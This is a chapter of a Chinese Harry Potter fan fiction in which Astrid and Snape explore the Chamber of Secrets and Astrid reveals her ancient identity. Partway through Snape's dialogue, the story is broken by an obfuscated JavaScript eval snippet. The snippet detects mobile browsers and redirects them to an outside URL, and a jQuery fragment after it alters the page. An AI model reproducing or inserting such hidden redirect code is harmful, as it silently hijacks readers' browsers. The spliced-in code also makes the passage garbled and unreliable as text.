38.
然后阿斯特丽德就被拉住了。
她撅着个腚，大半个身子已经猫进那条臭烘烘的管道里，校袍后摆却被一只手牢牢攥住，整个人以一种极其不雅的姿势卡在那里，进也不是退也不是。那股从管道深处飘出来的气味实在令人作呕——混合着陈年的霉味、腐烂的骨头、某种爬行动物特有的腥膻，以及足以让任何正常人类退避三舍的恶臭，直往鼻腔里钻。
“急什么？”斯内普的声音从身后传来，带着点不满，还多了一层明显的嫌弃——那嫌弃不止是针对她，更因为他也闻到了那股味道，眉头紧皱着，“身为格兰芬多怎么连一点冒险常识都没有？闷头往里冲之前，起码得先确认里面有没有什么东西等着把你当晚餐。”
阿斯特丽德艰难地扭过头，莫名地看着他：“那……？”
斯内普没有回答。他只是再次挥动魔杖，默不作声地给两人都套上了一沓防护咒语——铁甲咒、泡头咒、防恶咒、还有一个她叫不出名字但看起来很复杂的咒语，那些咒语的光芒在昏暗的管道入口处一闪而没。做完这一切，他才一手提溜着阿斯特丽德的校袍后领把她从管道口拎出来，然后自己一抬腿跨了进去，挡在她前面。
“跟在我后面，不要乱跑。”他的声音从管道里传出来，带着一点回音。
“哦。”阿斯特丽德抱紧怀里的纸袋，乖乖地跟在他身后，像两只排着队滑滑梯的企鹅一样，顺着管道往下滑。
真的很臭。
那股气味在这密闭的管道里被放大了十倍不止，像是无数只死老鼠在角落里发酵了整整一个世纪。阿斯特丽德滑到尽头时摔了个屁股蹲儿，好在斯内普提前释放的缓冲咒稳稳接住了她——她一屁股坐在那无形的气垫上，懵了一下才反应过来，然后抬起头，环顾四周。
这是一个不大的石室，四周是粗糙的石壁，上面爬满了不知名的苔藓、菌类，和某种说不清的黏腻物质，散发着幽幽的绿色荧光。地面上散落着各种各样的骨头——有的很小，像是老鼠的；有的稍大，像是猫头鹰或者其他什么鸟类的；还有一些她不太想细看的、形状可疑的零碎残骸。她确信自己没来过这间屋子，也确信萨其马这千百年来过得真的很差。看看那些被啃得干干净净的小骨头吧，她能看出来那条蛇怪已经很珍惜粮食了。
“看你的表情，也是第一次来？”斯内普一直握着魔杖，保持着警戒状态，眼睛透过墨镜扫视着四周的每一个角落。
阿斯特丽德拍拍屁股站起来，动作间带起一阵细微的灰尘，那副贴了膜的墨镜让这里的景象看起来更加昏暗不清。她抬脚往里面走，语气轻快：“嗯，我很高兴是跟你一起来这里探险，巫师先生。”
斯内普用鼻息哼了一声，声音在空旷的石室里显得格外清晰，带着种“你当然应该庆幸”的意味。他抬脚追上她，几步就跨到她身侧：“不要离我太远，省得我还得像个无头苍蝇一样在这些臭烘烘的管道里到处找你。那画面不太体面，建议你不要让它发生。”
阿斯特丽德笑嘻嘻地靠近他，几乎要贴到他身上。她盯着他的侧脸——那张被昏暗光线勾勒得更加深邃的脸——用咏叹调般的语气开口：“哦，我离开谁也不会离开你的。”
斯内普转过头瞪了她一眼，那眼神在昏暗的环境里被墨镜挡去了一大半，实在没什么威慑力。“希望你能说到做到。”他说。
咦？
他居然不是让她“正经点”或者“保持距离”之类的话，而是顺着杆子爬上来了？
她打赌，他根本就知道她是什么意思。
那他是什么意思？
是那个意思吗？
“嘎吱”——
一声脆响打断了她的思绪。阿斯特丽德终于把不合时宜的恋爱脑收了回来，低头看向脚下。
那是一副蛇蜕。
通体碧绿，足足有十几米长，盘踞在第二个房间的地面上，在昏暗的环境里泛着幽冷的色泽。有些地方已经干枯发脆，她刚才那一脚正好踩在一截尾巴尖上，那截蛇蜕应声而碎，化作几片碧绿的碎片散落在地上。
“这就是我们此行的目标？”斯内普打量着那超越他目前认知的巨大蛇蜕，魔杖已经发射出几个探测咒，那些咒语在蛇蜕周围飞舞，测探着上面残留的魔力痕迹。
阿斯特丽德任由他探测那些蛇蜕，自己则往前走了几步，查看前方的通道。那通道更深，更暗，从里面飘出来的气味也更加浓郁。她头也不回地开口，语气随意得像在介绍一只宠物猫：“准确地说，目标是它的主人——萨其马，一只很乖巧的蛇怪。”
斯内普停止了探测。
他抬起头来瞅着她，眼睛里明明白白地写着：你是不是想让我说一种植物？
事实上，斯内普也的确很想说那个词——任何一个正常人在听到有人把一只瞪谁谁死的蛇怪称为“乖巧”的时候，都会想说那个词。他忍了又忍，才尽量平静地问出口：“你确定它很乖巧？”
如果他猜得不错——不，根本不用猜——五十年前的桃金娘就是死在那个“乖巧”的蛇怪的瞪视之下。一个十几岁的女生，在厕所里哭得好好的，打开门看了一眼，然后就死了——这叫乖巧？
光看表情阿斯特丽德就知道他在想些什么。她连忙开口安抚：“虽然我也很遗憾那件事，但那应该是个意外，西弗勒斯。萨拉查还让它当过一阵子禁林看守呢，它不会故意伤害学生们的。它没那么蠢，知道咬了霍格沃茨的学生会有什么后果。”
斯内普的表情变得有些耐人寻味。他盯着她，开口时语气慢悠悠的，但每一个字都像是一把小锤子，在她的话上敲出一个又一个问号：“你对于斯莱特林创始人直呼其名的行为，几乎要让人怀疑你认识他了。”
阿斯特丽德一噎。
她抬起眼眸，望着漆黑的天花板，看起来像是在跟某个看不见的存在求救：“……那倒也没错。”
这下斯内普是真的震惊了。
他眯起眼睛，目光透过墨镜直直地射向她，像是要把她整个人从里到外剖开看个清楚，“抱歉？”
阿斯特丽德摸了摸鼻子，又清了清嗓子，眼神有些躲闪:“就是……就是你理解的那个意思。”
斯内普的嘴巴微微张着，好半晌没能发出声音——这对他来说，简直是破天荒的事。最后，他终于顺畅地吐露出一串话，讽刺之余还有真真切切的荒谬和难以置信：“让我确认一下我有没有理解错误——你，阿斯特丽德·杜兰特，一个前麻瓜现摔炮，几个月前还在蜘蛛尾巷为了半块面包发愁，此刻站在千年蛇怪的蜕皮堆里告诉我，你跟萨拉查·斯莱特林——那个一千年前就化成灰的创始人——认识？而且语气熟稔得像是在聊隔壁邻居？”他停顿下来，表情有些崩溃，“你是疯了，还是觉得我疯了？或者你觉得今天是什么特别的日子，适合听这种天方夜谭？”
阿斯特丽德依旧飘忽地盯着石壁上那些幽幽发光的青苔，眼神没有焦点，嘴里咕哝了一句：“今天是我们第一次正式跳舞的日子。”
斯内普噎住了。
他再次张嘴，想说点什么，却发现这句话精准地堵住了他所有刻薄的退路——她说的没错，今天确实是他们第一次正式跳舞的日子，是他主动揽着她跳了一曲又一曲，是他用那些千奇百怪的借口把她留在舞池里转了无数圈。他酝酿了半天，最后只能垂死挣扎般地挤出一句：“所以，你真的转圈转到脑子不清醒了吗？”
阿斯特丽德这才叹了口气，慢吞吞地走近他，嘟嘟囔囔地开口：“咱俩脑子都没问题，我也不是在作弄你。就是这事说来话长……”
“那你长话短说。”斯内普打断她，语气硬邦邦的，像是往石板上砸钉子。
阿斯特丽德顺畅地接话，眼睛直直地望着他：“长话短说就是——我是萨姹。”
是他让她长话短说的，她本来还想铺垫一番，比如“你想想我的魔杖花纹”，或者“这得从那个禁林之夜说起”。但他没那个耐心，那她也只好单刀直入了。
现在看来，效果很炸裂。
斯内普的表情很魔幻——震惊、荒谬、怀疑、恍然几种情绪交织在一起，像是有人在用他的脸练习变形术。他的嘴几番开合，好半天才挤出一个干涩的词：“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334611|199227||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你……”
然后卡住了。
他脑海里不由自主地开始播放那些原本零散此刻却疯狂串联起来的片段——有关萨姹的传说，那些他曾经嗤之以鼻的神话；她刚才说蛇佬腔时那浑不在意的样子，仿佛那是什么不值一提的小事；还有最重要的，她那根金合欢木的魔杖，上面雕刻着蛇鳞搭配羽毛纹路，那花纹他当时就觉得古怪，却从没往那个方向想过。
原来一切都有迹可循。
但那也太荒谬了！
“那你怎么变成麻瓜了？”他终于找回了自己的声音，黑沉沉的眼睛瞪着她，带着“你必须给我解释清楚”的压迫感，“又为什么忽然有了魔力？而且魔力还这么弱？”
这个嘛……那就真的说来话长了。
阿斯特丽德的目光再次于天花板和墙壁之间游移，就是不敢落在他脸上。她总不好直白地告诉他：我曾经暗戳戳地视奸了你两年，然后又没忍住想救你，只不过劲使大了，所以变成了现在这个亚子……哦对了，真是很抱歉让你们再刷一次副本。
再刷一次副本。
再刷一次的，真的只是最后那个大战副本吗？
明明还有所有人的整个人生，全部的悲欢离合。
他再一次经历了被狼人咬的那一晚，再一次遭遇了那个让他沦为笑柄的五年级末，再一次跟莉莉决裂了。当初可没有一个麻瓜会去医院照顾他，会给他寄那些稀奇古怪的小玩意儿，更不会从八岁起就屁颠屁颠地跟在他身后做小尾巴。
所有的一切，都是他独自经历的。
那些漫长的、灰暗的、看不到尽头的日子，都是他一个人扛过来的。
可他好不容易经历完了，她又把他拉回来了。
现在要她当面告诉他：我是为了你好。
她做不到。
万一他并不想重活一次呢？
她从千年前就看过无数挣扎在痛苦中的人。如果死对他们来说是一种奢望和解脱，那么非要他们活下去，何尝不是一种残忍？那样的“活”，对他来说算是一种痛苦的禁锢吗？
阿斯特丽德肉眼可见地低落下去，那情绪像是从她身上溢出来的灰色雾气，把她整个人笼罩在里面。
斯内普因为震惊而飞扬起来的五官，此刻又慢慢地、慢慢地皱巴巴地挤在一起。他盯着她，眼里闪过困惑和担忧：“你怎么了？”
他都还没有指责她居然不告诉自己这么重大的事——让他像个傻子一样在她身边转了这么久——她就先难过起来了？
这让他觉得无从下口，无从吐槽，憋闷得很，又有点……担心。
阿斯特丽德过了一会儿才摇摇头，声音低低的：“没，只是不确定自己做得到底对不对。”
“什么对不对？”
“拉你来冒险对不对。”
斯内普挑眉：“我已经在这里了。”
“嗯，已经这样了。”她低着头，盯着地上那堆干枯的蛇蜕。
“那你还胡思乱想什么？”
“就是担心你知道以后会不会更疲倦。”
“疲倦？”
“嗯，疲倦。”她终于抬起头，眼神复杂地看着他。
那种身心都累到不想继续硬撑的疲倦，恨不得摆脱一切的疲倦。
因为她在那两年里感知到了他的一切——他行色匆匆的奔忙疲惫，他深夜在禁林边缘幻影移形时的仓促。她感知到他自从当上校长后，半夜里最常用的魔法是“呼神护卫”。而她在尖叫棚屋外面见到的那个身影，分明有着空洞却释然的目光。
那时她不明白，那些是因为什么。
但这一次，他在校医院里告诉过她，呼神护卫等于那个“她”。所以，他是不是因为跟莉莉决裂，又因为实在无法挽回莉莉，才会做了什么……导致自己的死亡？
阿斯特丽德一直以来困囿其中的问题，终于在这昏暗的石室里找到了出口——无论伏地魔为什么杀他，他早就知道自己难逃一死。
而那个原因，似乎就在那儿，但已经不重要了。
重要的是——他那时候，是想要离开的。